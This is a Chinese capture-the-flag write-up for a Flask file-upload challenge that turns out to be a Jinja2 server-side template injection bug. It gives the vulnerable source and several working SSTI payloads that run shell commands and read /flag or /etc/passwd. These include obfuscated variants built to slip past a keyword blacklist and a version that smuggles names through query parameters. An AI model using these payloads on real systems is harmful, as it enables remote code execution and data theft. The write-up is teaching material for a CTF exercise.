GHCTF-WEB-UPLOAD? SSTI!
题目地址:NSSCTF | 在线CTF平台
题面:(完整未删减的源码请访问:Ubuntu Pastebin 本题的源码在原题目中以附件的形式提供)
目录

②尝试下划线替换为\x5f ,用cat /f*的通配符方式来访问/flag:
③用join拼接敏感字符+dir(0)[0][0]替代下划线:
①使用十六进制绕过敏感字符(如flag中的字母g、下划线),得到:
②方括号 [] 替换 . :Python允许通过obj["key"]的方式访问属性或字典的键,这种方式的属性名被包裹在字符串中,可以动态构造(比如拼接或编码),从而绕过WAF对固定模式的过滤。
②如何预设查询参数?什么是 request.args.xx?
import os
import re
from flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect
from werkzeug.utils import secure_filename
import os
from werkzeug.utils import secure_filename
app = Flask(__name__)
# 配置信息
UPLOAD_FOLDER = 'static/uploads' # 上传文件保存目录
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
MAX_CONTENT_LENGTH = 16 * 1024 * 1024 # 限制上传大小为 16MB
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH
# 创建上传目录(如果不存在)
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_safe_path(basedir, path):
return os.path.commonpath([basedir,path])
def contains_dangerous_keywords(file_path):
dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]
with open(file_path, 'rb') as f:
file_content = str(f.read())
for keyword in dangerous_keywords:
if keyword in file_content:
return True # 找到危险关键字,返回 True
return False # 文件内容中没有危险关键字
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
# 检查是否有文件被上传
if 'file' not in request.files:
return jsonify({"error": "未上传文件"}), 400
file = request.files['file']
# 检查是否选择了文件
if file.filename == '':
return jsonify({"error": "请选择文件"}), 400
# 验证文件名和扩展名
if file and allowed_file(file.filename):
# 安全处理文件名
filename = secure_filename(file.filename)
# 保存文件
save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(save_path)
# 返回文件路径(绝对路径)
return jsonify({
"message": "File uploaded successfully",
"path": os.path.abspath(save_path)
}), 200
else:
return jsonify({"error": "文件类型错误"}), 400
# GET 请求显示上传表单(可选)
return '''
<!doctype html>
<title>Upload File</title>
<h1>Upload File</h1>
<form method=post enctype=multipart/form-data>
<input type=file name=file>
<input type=submit value=Upload>
</form>
'''
@app.route('/file/<path:filename>')
def view_file(filename):
try:
# 1. 过滤文件名
safe_filename = secure_filename(filename)
if not safe_filename:
abort(400, description="无效文件名")
# 2. 构造完整路径
file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)
# 3. 路径安全检查
if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):
abort(403, description="禁止访问的路径")
# 4. 检查文件是否存在
if not os.path.isfile(file_path):
abort(404, description="文件不存在")
suffix=os.path.splitext(filename)[1]
print(suffix)
if suffix==".jpg" or suffix==".png" or suffix==".gif":
return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')
if contains_dangerous_keywords(file_path):
# 删除不安全的文件
os.remove(file_path)
return jsonify({"error": "Waf!!!!"}), 400
with open(file_path, 'rb') as f:
file_data = f.read().decode('utf-8')
tmp_str = """<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>查看文件内容</title>
</head>
<body>
<h1>文件内容:{name}</h1> <!-- 显示文件名 -->
<pre>{data}</pre> <!-- 显示文件内容 -->
<footer>
<p>© 2025 文件查看器</p>
</footer>
</body>
</html>
""".format(name=safe_filename, data=file_data)
return render_template_string(tmp_str)
except Exception as e:
app.logger.error(f"文件查看失败: {str(e)}")
abort(500, description="文件查看失败:{} ".format(str(e)))
# 错误处理(可选)
@app.errorhandler(404)
def not_found(error):
return {"error": error.description}, 404
@app.errorhandler(403)
def forbidden(error):
return {"error": error.description}, 403
if __name__ == '__main__':
app.run("0.0.0.0",debug=False)
写在解题前的话:
如果你完全不知道SSTI模板注入,请参考:1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园
如果你完全不了解SSTI模板注入的绕过,请参考:SSTI模板注入及绕过姿势(基于Python-Jinja2)_exploit ssti bypass filter-CSDN博客
(问就是笔者也是一点都不知道SSTI然后尝试绕过几十次都失败没做出web签到题心态爆炸了捏)
如果你需要了解文件上传漏洞的相关知识,请参考GHCTF题目:[GHCTF 2025]UPUPUP | NSSCTF
解题思路:
1.是文件上传漏洞?
乍一看本题题面就让我们上传文件,可能下意识以为是考察文件上传漏洞,但是题目标题是:upload?SSTI!,?说明很有可能并不存在文件上传漏洞(读标题怎么让人感觉在做puzzlehunt x)。那到底有没有文件上传漏洞还是要通过代码审计来分析一下的。
文件上传漏洞的waf与绕过主要存在以下手段:
①前端检测Content-Type字段的值,通过抓成功的包后修改内容和后缀绕过
②黑名单检测,可以通过双写、大小写、空格绕过:(.php )、点绕过:(.php.)、$DATA绕过、Apache解析漏洞(利用apache从右往左解析后缀的特性)、.htaccess解析绕过
③白名单检测,可以使用00截断(%00截断与0x00截断)
④文件幻术检测、文件内容检测、APACHE解析漏洞等
本题和文件上传waf有关的部分如下,很明显的是属于白名单检测:
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
def contains_dangerous_keywords(file_path):
dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]
# 验证文件名和扩展名
if file and allowed_file(file.filename):
# 安全处理文件名
filename = secure_filename(file.filename)
# 3. 路径安全检查
if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):
abort(403, description="禁止访问的路径")
# 4. 检查文件是否存在
if not os.path.isfile(file_path):
abort(404, description="文件不存在")
suffix=os.path.splitext(filename)[1]
print(suffix)
if suffix==".jpg" or suffix==".png" or suffix==".gif":
return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')
if contains_dangerous_keywords(file_path):
# 删除不安全的⽂件
os.remove(file_path)
return jsonify({"error": "Waf!!!!"}), 400
上述这些代码通过设置了白名单后缀,仅允许文档形式和图片形式的文件上传。同时会对上传的文件内容进行检测,利用 secure_filename函数(将如空格,/,空字符(防止00截断)这类的非法字符替换为下划线),保证了上传路径的不可注入,且返回文件的函数是view_file(),它仅对纯文件内容进行返回,即使成功上传了脚本也无法被服务器解析,即无法进行利用。
综上所述,本题并不存在正常范围内能被利用的文件上传漏洞,需要另寻他法。
②是SSTI模板注入!模板如何赋值?
接着审查源码,注意到view_file结束有这么一个函数:
tmp_str = """<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>查看文件内容</title>
</head>
<body>
<h1>文件内容:{name}</h1> <!-- 显示文件名 -->
<pre>{data}</pre> <!-- 显示文件内容 -->
<footer>
<p>© 2025 文件查看器</p>
</footer>
</body>
</html>
""".format(name=safe_filename, data=file_data)return render_template_string(tmp_str)
虽然一般都看不太懂函数的具体作用,根据render的中文“翻译、转义、表达”,不难联想到这个函数会对tmp_str中的值做一些处理,而这种处理往往伴随着很多漏洞的产生。那么或许需要了解一下render_template_string函数:
*render_template 是 Flask 框架中的一个函数,用于渲染 HTML 模板。它接受模板文件名作为第一个参数,并可以传递一组变量作为第二个参数。render_template_string() 的作用和前者类似,但它直接接受字符串而不是模板文件,并使用 Jinja2 渲染。
通过简单的搜索知道该函数会渲染该HTML模板,而该html模板中为我们的文件名和文件内容输出留了预留位。如果利用文件上传上传恶意代码并被回显,即使文件不能被服务器解析,其返回的纯文本内容被渲染后可能造成威胁。这样的威胁方法就是SSTI模板注入。
知道了利用方法之后,如何对html模板进行赋值还要看源代码的功能。根据源代码中@app.route('/file/<path:filename>') 可知上传文件的访问目录是/file/文件名,根据函数
def view_file(filename)中的文件打开部分:
with open(file_path, 'rb') as f:
file_data = f.read().decode('utf-8')
该命令以二进制文件的格式打开文件并使用utf-8的解码形式进行读取,如果目标是图像或者其它不能使用utf-8解码形式的文件,解析会报错,因此需要上传文本类型的文件。
③目标存在WAF!检验SSTI模板注入是否存在
根据def view_file(filename)中的waf过滤部分:
def contains_dangerous_keywords(file_path):
dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]
if contains_dangerous_keywords(file_path):
# 删除不安全的文件
os.remove(file_path)
return jsonify({"error": "Waf!!!!"}), 400
可知文件的内容中如果包含黑名单中的字符就会删除该文件并报错。这意味着我们构筑SSTI模板注入的payload必须不包含这些字符(这些字符是一般的模板注入会用到的防火墙)。
那么进行简单的检验:
①上传test.txt,文件内容为:{ {7*7}}
②访问/file/test.txt,观察其中的{ {7*7}}是否被解析:
看到回显的内容中计算了7*7的结果,因此确定漏洞存在。接下来只需要构筑一个payload,能绕过waf中的黑名单检测即可。
SSTI模板注入中,黑名单字符的绕过可参考:SSTI模板注入及绕过姿势(基于Python-Jinja2)_exploit ssti bypass filter-CSDN博客
本题waf对下划线, 'os', 'subclasses', '__builtins__', '__globals__','flag'这些关键字符进行了过滤,可以采用编码、request等方式进行绕过。
④目标存在关键词与下划线过滤!如何绕过?
一般情况下flag默认在/flag下,没有waf时,访问/flag的payload一般如下:
# python3
{ {().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('cat /flag|base64').read()}}
# python2
{ {''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
但是很明显两种方法都踩了一堆黑名单,因此需要进行一定的绕过。
编码绕过思路如下:
①将下划线、os、flag字符进行编码:
{ { self[chr(95)+'Template'+chr(95)+chr(95)+'globals'+chr(95)+chr(95)][chr(111)+chr(115)].popen('cat '+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)).read() }}
结果报错:
②尝试下划线替换为\x5f ,用cat /f*的通配符方式来访问/flag:
{ {self.\x5fTemplate\x5f\x5fglobals\x5f\x5f['o'+'s'].popen('cat /f*').read()}}
不行 \x5f无法被识别
③用join拼接敏感字符+dir(0)[0][0]替代下划线:
{ { getattr(self, ''.join(['T', 'e', 'm', 'p', 'l', 'a', 't', 'e']))[dir(0)[0][0] + dir(0)[0][0] + 'globals' + dir(0)[0][0] + dir(0)[0][0]][''.join(['o', 's'])].popen('cat /f*').read() }}
又报错:
心态崩了我不会绕过 找大佬借下payload:
{ { lipsum["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["open"]("/fla\x67").read() }}
{ {''['\x5f''\x5fcl''ass\x5f''\x5f']['\x5f''\x5fba''se\x5f''\x5f']['\x5f''\x5fsubcla''sses\x5f''\x5f']()[137]['\x5f''\x5fin''it\x5f''\x5f']['\x5f''\x5fglo''bals\x5f''\x5f']['\x5f''\x5fbui''ltins\x5f''\x5f']['open']('/\u0066\u006c\u0061\u0067').read()}}
借完payload后,借助AI,我们来分析一下payload的演变过程以及原理。
⑤payload的演变过程以及原理
对于第一个payload:
无waf版本的payload:
{ { lipsum.__globals__.__builtins__.open('/flag').read() }}
功能:通过 lipsum 的 __globals__ 获取全局变量字典,再从中提取 __builtins__ 模块,调用 open 函数读取 /flag 文件内容。
演变过程:
①使用十六进制绕过敏感字符(如flag中的字母g、下划线),得到:
{ { lipsum.\x5f\x5fglobals\x5f\x5f.\x5f\x5fbuiltins\x5f\x5f.open('/flag').read() }}
②方括号 [] 替换 . :Python允许通过obj["key"]的方式访问属性或字典的键,这种方式的属性名被包裹在字符串中,可以动态构造(比如拼接或编码),从而绕过WAF对固定模式的过滤。
{ { lipsum["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["open"]("/fla\x67").read() }}
对于第二个payload:
无waf版本:
{ {''.__class__.__base__.__subclasses__()[137].__init__.__globals__.__builtins__.open('/flag').read() }}
功能:通过字符串对象的反射机制,获取子类列表中的某个类,再通过 __init__ 的全局变量访问 __builtins__,调用 open 函数读取 /flag。
绕过waf过程同第一个payload。
理解不了原理,死记payload吧┑(Д)┍
request绕过思路如下:
①为什么要用request绕过?
本题不仅是单一的对下划线等拦截,还涉及到了对多种敏感关键词的拦截,常规构造方法会比较的困难,因此可以采用预设查询参数+从url中传递值拼接的方法来绕过直接对模板参数的过滤。
②如何预设查询参数?什么是 request.args.xx?
request.args.xx 是 Python 的 Flask 框架中用于访问 URL 查询参数的一种方式。具体来说:
·request 是 Flask 中的一个全局对象,代表当前的 HTTP 请求。
·request.args 是一个字典-like 的对象(实际上是 MultiDict),它包含了 URL 中查询字符串(即 ? 后面的部分)中的所有参数。
·xx 是查询参数的名称,通过 request.args.xx 可以获取对应参数的值。
例如,如果 URL 是 http://example.com/path?param1=value1¶m2=value2,那么:
·request.args['param1'] 返回 'value1'。
·request.args['param2'] 返回 'value2'。
·在 Jinja2 模板中,可以直接写 request.args.param1 来获取 'value1'。
简单来说,request.args.xx 就是从 URL 查询参数中提取名为 xx 的值的一种方法
完整的payload如下:
{ {""[request.args.x1][request.args.x2][0][request.args.x3]()[137][request.args.x4][request.args.x5]['popen']('cat /f*').read()}}
?x1=__class__&x2=__bases__&x3=__subclasses__&x4=__init__&&x5=__globals__
将?及后面字符拼接到所上传文件的url后即可:
(靶机到期了 贴个官方原图x)
如果有佬看完文章能知道前面payload为什么用不了跪求帮助,万分感谢~